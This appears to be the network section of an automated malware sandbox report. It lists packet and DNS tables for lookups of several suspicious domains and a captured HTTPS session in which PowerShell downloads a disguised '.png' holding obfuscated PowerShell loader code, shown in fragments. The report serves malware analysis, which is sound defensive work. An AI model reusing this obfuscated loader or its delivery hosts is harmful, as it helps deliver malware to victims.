Jan 8, 2025 13:56:45.658934116 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.658940077 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.658988953 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.659643888 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.659660101 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.659713984 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.659720898 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.659759998 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.660747051 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.660768986 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.660836935 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.660845995 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.660856962 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.660907030 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.661654949 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.661676884 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.661730051 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.661736012 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.661773920 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.742889881 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.742913961 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.743041992 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.743055105 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.743107080 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.849539995 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.882659912 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.882688999 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.882745981 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.882801056 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.882813931 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.882863998 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.882864952 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.883301973 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.883333921 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.883394957 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.883394957 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.883402109 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.883430958 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.883452892 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.883512020 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.883512020 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.883518934 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.884310961 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.884325027 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.884397984 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.884413958 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.886941910 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.886960030 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887021065 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.887027025 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887064934 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.887453079 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887470007 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887509108 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.887516022 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887545109 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.887872934 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887891054 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.887948036 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.887948036 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.887954950 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969450951 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969475985 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969693899 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969712019 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969744921 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969744921 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969760895 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969795942 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969798088 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969798088 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969809055 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969847918 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969861984 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969861984 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969871044 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969918013 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969918013 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.969943047 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.969963074 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970019102 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970019102 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970024109 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970149040 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970165014 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970196962 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970196962 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970201969 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970247984 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970247984 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970305920 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970321894 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970345974 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970354080 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:45.970397949 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:45.970397949 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.107928038 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.107985020 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.108072996 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.108086109 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.108104944 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.108131886 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.108144999 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.108158112 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.108184099 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.108186960 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.108216047 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.108247995 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.119493008 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.119502068 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.119524002 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.119533062 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.119693041 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.119700909 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.119808912 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.122524023 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.123306036 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.194488049 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.194510937 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.194616079 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.194664955 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.194680929 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.194691896 CET	443	49985	192.250.235.30	192.168.2.7
Jan 8, 2025 13:56:46.194722891 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.194722891 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.194766998 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.201643944 CET	49985	443	192.168.2.7	192.250.235.30
Jan 8, 2025 13:56:46.201667070 CET	443	49985	192.250.235.30	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 13:55:07.912014008 CET	55601	53	192.168.2.7	1.1.1.1
Jan 8, 2025 13:55:07.924254894 CET	53	55601	1.1.1.1	192.168.2.7
Jan 8, 2025 13:56:33.201267958 CET	49586	53	192.168.2.7	1.1.1.1
Jan 8, 2025 13:56:33.224514961 CET	53	49586	1.1.1.1	192.168.2.7
Jan 8, 2025 13:56:43.469188929 CET	54639	53	192.168.2.7	1.1.1.1
Jan 8, 2025 13:56:43.488790989 CET	53	54639	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 13:55:07.912014008 CET	192.168.2.7	1.1.1.1	0xf0f	Standard query (0)	web.klipdywoziy.shop	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.201267958 CET	192.168.2.7	1.1.1.1	0xba4c	Standard query (0)	quinceisoz.cam	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:43.469188929 CET	192.168.2.7	1.1.1.1	0x5ed	Standard query (0)	bigadcompany.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 13:55:07.924254894 CET	1.1.1.1	192.168.2.7	0xf0f	No error (0)	web.klipdywoziy.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:55:07.924254894 CET	1.1.1.1	192.168.2.7	0xf0f	No error (0)	web.klipdywoziy.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:33.224514961 CET	1.1.1.1	192.168.2.7	0xba4c	No error (0)	quinceisoz.cam	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 13:56:43.488790989 CET	1.1.1.1	192.168.2.7	0x5ed	No error (0)	bigadcompany.com	192.250.235.30	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

web.klipdywoziy.shop

quinceisoz.cam

bigadcompany.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49706	188.114.97.3	443	7700	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:55:08 UTC	80	OUT	GET /kunnar.png HTTP/1.1 Host: web.klipdywoziy.shop Connection: Keep-Alive
2025-01-08 12:55:08 UTC	996	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:55:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9107643 Connection: close X-Powered-By: Express ETag: W/"8af8bb-a2q2AN3RGYSB5Qx+s1RcWLTnOkc" Set-Cookie: connect.sid=s%3AsBtJtFX1mhGHXJ_uu8NSN0xBMv68CXN6.7%2B21HHytq9M%2Fnci%2F38qf6UXrC8XGmuc3COyzadz%2FiNY; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JalDGthoIxpBuNXyxhZ23fNwFeFLm9VeKWyxAL%2BJHEpbWnE1A6D92ILaVChtlRYScKsZfiiQGRAHnHfqsSxk0NOKgwAq0LAIW6y4ZifHqwaEpDM%2B9%2BabiaZo8Vvtw5JMWwzqLz0hjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec5716589742b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2486&min_rtt=2486&rtt_var=932&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=694&delivery_rate=1173633&cwnd=233&unsent_bytes=0&cid=11ac153a9882de3b&ts=410&x=0"
2025-01-08 12:55:08 UTC	373	IN	Data Raw: 24 4c 4e 77 56 41 53 79 41 70 73 35 64 36 47 6a 53 4a 50 35 78 47 4f 53 33 55 38 6f 57 71 74 4d 30 71 61 37 62 5a 68 49 73 30 70 49 59 79 47 73 48 73 71 61 70 37 35 44 76 36 50 47 47 73 54 37 6a 4c 51 4b 54 34 55 62 51 49 66 51 57 65 59 77 73 62 72 5a 4a 4c 78 6b 69 42 65 69 30 71 4a 77 36 78 66 4f 55 39 6b 59 79 42 4b 75 4e 43 56 34 6c 79 46 61 51 54 65 4d 50 74 78 57 6e 54 45 68 47 6a 59 43 49 41 6f 48 4f 42 57 75 57 6d 4f 39 33 77 54 44 39 32 49 31 35 73 7a 43 64 33 75 41 57 58 72 42 33 36 4c 67 32 74 61 65 74 43 78 61 32 6c 41 6a 30 36 51 49 57 78 49 6d 49 58 58 59 7a 31 30 38 36 67 78 73 62 6e 54 48 49 34 79 37 46 42 4f 54 75 32 56 4f 37 59 51 6c 4d 4c 55 30 52 30 55 67 46 37 66 6b 63 54 31 52 38 65 6d 69 66 65 63 6f 48 54 4a 4e 43 45 4e 51 51 48 52 Data Ascii: $LNwVASyAps5d6GjSJP5xGOS3U8oWqtM0qa7bZhIs0pIYyGsHsqap75Dv6PGGsT7jLQKT4UbQIfQWeYwsbrZJLxkiBei0qJw6xfOU9kYyBKuNCV4lyFaQTeMPtxWnTEhGjYCIAoHOBWuWmO93wTD92I15szCd3uAWXrB36Lg2taetCxa2lAj06QIWxImIXXYz1086gxsbnTHI4y7FBOTu2VO7YQlMLU0R0UgF7fkcT1R8emifecoHTJNCENQQHR
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 79 33 73 6a 46 4e 47 62 62 78 30 38 65 4b 57 48 49 51 58 38 6e 54 54 79 65 74 51 4f 65 39 45 66 4e 49 78 46 50 62 4a 59 50 35 6d 56 43 33 5a 38 4a 43 67 35 66 6f 6b 63 69 63 30 48 58 32 53 36 53 6f 7a 34 6a 71 35 52 38 56 64 73 73 62 78 79 54 36 32 47 52 45 58 71 31 79 68 46 54 6a 41 69 39 65 70 32 4d 79 35 58 4e 36 4d 4b 67 6f 70 6b 49 4a 62 44 70 67 46 77 36 76 75 58 38 34 41 61 4f 36 6d 7a 58 44 37 47 6d 59 7a 42 36 51 59 68 4b 56 71 55 4f 65 70 71 4e 59 39 65 79 62 79 4f 38 45 33 74 50 68 46 69 6e 34 45 41 70 5a 78 69 4e 42 71 59 78 69 43 4e 4e 67 39 61 34 43 6c 74 38 6b 71 5a 4c 44 4f 6a 77 37 78 4d 72 4b 68 76 48 63 66 68 38 68 6f 57 6f 6f 61 59 20 3d 20 22 47 65 74 42 79 74 65 73 22 0d 0a 0d 0a 24 43 56 75 61 4c 68 4e 31 52 63 63 6e 4d 33 45 52 6c Data Ascii: y3sjFNGbbx08eKWHIQX8nTTyetQOe9EfNIxFPbJYP5mVC3Z8JCg5fokcic0HX2S6Soz4jq5R8VdssbxyT62GREXq1yhFTjAi9ep2My5XN6MKgopkIJbDpgFw6vuX84AaO6mzXD7GmYzB6QYhKVqUOepqNY9eybyO8E3tPhFin4EApZxiNBqYxiCNNg9a4Clt8kqZLDOjw7xMrKhvHcfh8hoWooaY = "GetBytes"$CVuaLhN1RccnM3ERl
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 65 45 59 6d 50 4f 30 37 58 4d 41 51 6d 34 6b 76 43 4a 34 50 76 30 58 73 65 56 41 6d 6b 49 64 4c 65 70 62 46 39 54 54 75 76 65 6f 79 35 55 38 62 64 50 72 6f 7a 79 33 73 6a 46 4e 47 62 62 78 30 38 65 4b 57 48 49 51 58 38 6e 54 54 79 65 74 51 4f 65 39 45 66 4e 49 78 46 50 62 4a 59 50 35 6d 56 43 33 5a 38 4a 43 67 35 66 6f 6b 63 69 63 30 48 58 32 53 36 53 6f 7a 34 6a 71 35 52 38 56 64 73 73 62 78 79 54 36 32 47 52 45 58 71 31 79 68 46 54 6a 41 69 39 65 70 32 4d 79 35 58 4e 36 4d 4b 67 6f 70 6b 49 4a 62 44 70 67 46 77 36 76 75 58 38 34 41 61 4f 36 6d 7a 58 44 37 47 6d 59 7a 42 36 51 59 68 4b 56 71 55 4f 65 70 71 4e 59 39 65 79 62 79 4f 38 45 33 74 50 68 46 69 6e 34 45 41 70 5a 78 69 4e 42 71 59 78 69 43 4e 4e 67 39 61 34 43 6c 74 38 6b 71 5a 4c 44 4f 6a 77 37 Data Ascii: eEYmPO07XMAQm4kvCJ4Pv0XseVAmkIdLepbF9TTuveoy5U8bdProzy3sjFNGbbx08eKWHIQX8nTTyetQOe9EfNIxFPbJYP5mVC3Z8JCg5fokcic0HX2S6Soz4jq5R8VdssbxyT62GREXq1yhFTjAi9ep2My5XN6MKgopkIJbDpgFw6vuX84AaO6mzXD7GmYzB6QYhKVqUOepqNY9eybyO8E3tPhFin4EApZxiNBqYxiCNNg9a4Clt8kqZLDOjw7
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 4e 70 54 6e 63 6a 76 61 70 4a 29 20 2d 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 20 2a 20 36 30 35 39 30 29 20 2a 20 33 32 31 35 29 29 0d 0a 24 57 54 79 63 6a 62 51 4f 65 20 3d 20 28 28 28 28 28 38 33 33 20 2a 20 28 28 28 24 79 64 6f 54 57 6b 66 48 20 2d 20 2d 34 31 38 33 38 37 29 20 2a 20 2d 31 37 32 34 35 29 29 29 20 2a 20 32 37 29 20 2b 20 30 29 20 2b 20 28 28 28 28 28 24 57 54 79 63 6a 62 51 4f 65 20 2a 20 31 37 35 29 20 2b 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 20 2d 20 33 31 38 36 37 29 20 2a 20 24 72 52 48 76 77 6e 77 66 4b 70 52 29 29 29 20 2a 20 28 28 28 28 2d 38 33 33 20 2d 20 35 37 35 29 20 2b 20 24 57 54 79 63 6a 62 51 4f 65 29 20 2a 20 36 39 37 39 29 29 29 0d 0a 24 46 4b 75 76 62 58 5a 4f 45 76 5a 20 3d 20 28 28 2d 31 20 2b 20 28 28 28 24 57 54 79 63 Data Ascii: NpTncjvapJ) - $KVHojVRko) * 60590) * 3215))$WTycjbQOe = (((((833 * ((($ydoTWkfH - -418387) * -17245))) * 27) + 0) + ((((($WTycjbQOe * 175) + $KVHojVRko) - 31867) * $rRHvwnwfKpR))) * ((((-833 - 575) + $WTycjbQOe) * 6979)))$FKuvbXZOEvZ = ((-1 + ((($WTyc
2025-01-08 12:55:08 UTC	302	IN	Data Raw: 20 28 28 28 24 79 64 6f 54 57 6b 66 48 20 2b 20 2d 38 30 33 29 20 2a 20 2d 32 34 35 30 29 29 29 29 20 2a 20 28 28 30 20 2d 20 33 33 36 30 31 29 20 2d 20 37 31 30 35 31 34 29 29 0d 0a 24 57 54 79 63 6a 62 51 4f 65 20 3d 20 28 28 28 28 28 2d 37 20 2b 20 28 28 28 28 28 28 24 61 4e 70 54 6e 63 6a 76 61 70 4a 20 2d 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 20 2a 20 34 32 32 29 20 2b 20 24 5a 6f 6d 77 5a 6f 29 29 20 2d 20 28 28 2d 37 34 20 2d 20 28 28 28 28 28 37 31 37 34 39 20 2a 20 32 31 29 20 2b 20 24 79 64 6f 54 57 6b 66 48 29 20 2a 20 24 59 51 55 69 6d 48 48 77 29 20 2b 20 39 38 31 31 29 29 29 20 2d 20 28 28 28 28 2d 37 33 20 2d 20 33 32 36 32 38 30 29 20 2a 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 20 2a 20 24 73 4f 65 4b 49 59 44 4b 71 65 59 29 29 29 29 29 29 20 2b Data Ascii: ((($ydoTWkfH + -803) * -2450)))) * ((0 - 33601) - 710514))$WTycjbQOe = (((((-7 + (((((($aNpTncjvapJ - $KVHojVRko) * 422) + $ZomwZo)) - ((-74 - (((((71749 * 21) + $ydoTWkfH) * $YQUimHHw) + 9811))) - ((((-73 - 326280) * $KVHojVRko) * $sOeKIYDKqeY)))))) +
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 20 2a 20 32 30 34 29 29 20 2a 20 28 28 28 28 28 32 31 38 20 2b 20 28 28 28 28 28 24 79 64 6f 54 57 6b 66 48 20 2a 20 2d 36 29 20 2d 20 2d 34 37 38 39 29 20 2a 20 24 73 4f 65 4b 49 59 44 4b 71 65 59 29 20 2a 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 29 29 20 2d 20 34 31 35 35 32 32 29 20 2a 20 24 5a 6f 6d 77 5a 6f 29 20 2b 20 24 5a 6f 6d 77 5a 6f 29 20 2d 20 28 28 28 28 28 24 4c 6b 56 48 53 56 73 46 6b 68 20 2b 20 24 79 64 6f 54 57 6b 66 48 29 20 2b 20 24 79 64 6f 54 57 6b 66 48 29 20 2d 20 2d 36 38 33 34 29 20 2b 20 24 51 6f 66 70 6c 68 4e 66 29 29 29 29 29 0d 0a 24 45 77 44 6a 55 56 44 59 66 4d 20 3d 20 34 0d 0a 77 68 69 6c 65 20 28 24 45 77 44 6a 55 56 44 59 66 4d 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 6e 6e 73 6c 73 6c 42 53 67 20 3d 20 Data Ascii: * 204)) * (((((218 + ((((($ydoTWkfH * -6) - -4789) * $sOeKIYDKqeY) * $KVHojVRko))) - 415522) * $ZomwZo) + $ZomwZo) - ((((($LkVHSVsFkh + $ydoTWkfH) + $ydoTWkfH) - -6834) + $QofplhNf)))))$EwDjUVDYfM = 4while ($EwDjUVDYfM -gt 0) { $nnslslBSg =
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 49 59 44 4b 71 65 59 20 2a 20 24 58 72 56 4b 4c 4a 29 20 2a 20 31 33 36 29 20 2d 20 35 29 20 2d 20 2d 38 31 29 20 2b 20 24 4a 4f 44 72 72 75 29 29 29 0d 0a 7d 0d 0a 24 58 59 4f 4b 4e 58 20 3d 20 35 0d 0a 77 68 69 6c 65 20 28 24 58 59 4f 4b 4e 58 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 28 24 7a 43 49 55 6a 55 55 42 59 20 2d 6c 74 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 20 2d 61 6e 64 20 28 35 30 34 33 20 2d 67 74 20 24 5a 46 51 72 71 73 48 53 69 46 4d 29 29 20 7b 0d 0a 20 20 20 20 24 67 68 66 64 72 6f 66 20 3d 20 28 28 28 2d 35 20 2a 20 2d 38 38 29 20 2a 20 2d 31 33 34 29 20 2b 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 0d 0a 7d 0d 0a 20 20 20 20 20 20 20 20 24 67 68 66 64 72 6f 66 20 3d 20 28 28 28 28 28 28 28 2d 31 30 39 30 34 30 20 2a 20 24 Data Ascii: IYDKqeY * $XrVKLJ) * 136) - 5) - -81) + $JODrru)))}$XYOKNX = 5while ($XYOKNX -gt 0) { if (($zCIUjUUBY -lt $aNpTncjvapJ) -and (5043 -gt $ZFQrqsHSiFM)) { $ghfdrof = (((-5 * -88) * -134) + $KVHojVRko)} $ghfdrof = (((((((-109040 * $
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 56 41 78 50 51 48 29 20 2d 6f 72 20 28 24 5a 46 51 72 71 73 48 53 69 46 4d 20 2d 6e 65 20 38 36 39 37 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 24 6c 66 7a 68 6e 4f 42 4a 5a 20 3d 20 28 28 28 28 24 5a 6f 6d 77 5a 6f 20 2b 20 24 67 68 66 64 72 6f 66 29 20 2d 20 32 35 30 35 29 29 20 2d 20 28 28 28 28 28 28 28 24 6a 7a 79 6a 58 58 61 6c 59 20 2d 20 33 30 38 29 20 2a 20 24 6e 6e 73 6c 73 6c 42 53 67 29 20 2b 20 37 33 33 33 30 33 29 20 2d 20 28 28 28 28 24 57 54 79 63 6a 62 51 4f 65 20 2a 20 2d 35 29 20 2b 20 24 79 64 6f 54 57 6b 66 48 29 20 2a 20 24 72 52 48 76 77 6e 77 66 4b 70 52 29 29 29 20 2b 20 24 4c 6b 56 48 53 56 73 46 6b 68 29 29 20 2a 20 28 28 28 28 24 4c 6b 56 48 53 56 73 46 6b 68 20 2d 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 20 2d 20 24 62 68 Data Ascii: VAxPQH) -or ($ZFQrqsHSiFM -ne 8697)) { $lfzhnOBJZ = (((($ZomwZo + $ghfdrof) - 2505)) - ((((((($jzyjXXalY - 308) * $nnslslBSg) + 733303) - (((($WTycjbQOe * -5) + $ydoTWkfH) * $rRHvwnwfKpR))) + $LkVHSVsFkh)) * (((($LkVHSVsFkh - $aNpTncjvapJ) - $bh
